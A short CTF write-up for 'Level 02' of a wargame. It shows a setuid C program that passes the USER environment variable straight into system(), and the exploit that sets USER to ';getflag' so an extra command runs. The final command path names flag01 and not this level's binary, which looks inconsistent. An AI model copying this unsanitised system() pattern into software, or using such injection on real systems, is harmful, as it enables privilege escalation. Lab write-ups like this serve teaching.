Skip to content

level02.md

Latest commit

 

History

History
49 lines (35 loc) · 912 Bytes

level02.md

File metadata and controls

49 lines (35 loc) · 912 Bytes
Raw

Level 02

From the site we can get the code for this level:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

As the level01 we need to modify a variable to pass this level, in this case is USER, we can modify it to call get falg and then quit.

To modify the USER variable, so the buffer variable will be somthing like "/bin/echo;getflag is cool":

export USER=";getflag"

Than we can execute the code of this level and when it will call the getflag for us.

/home/flag01/flag01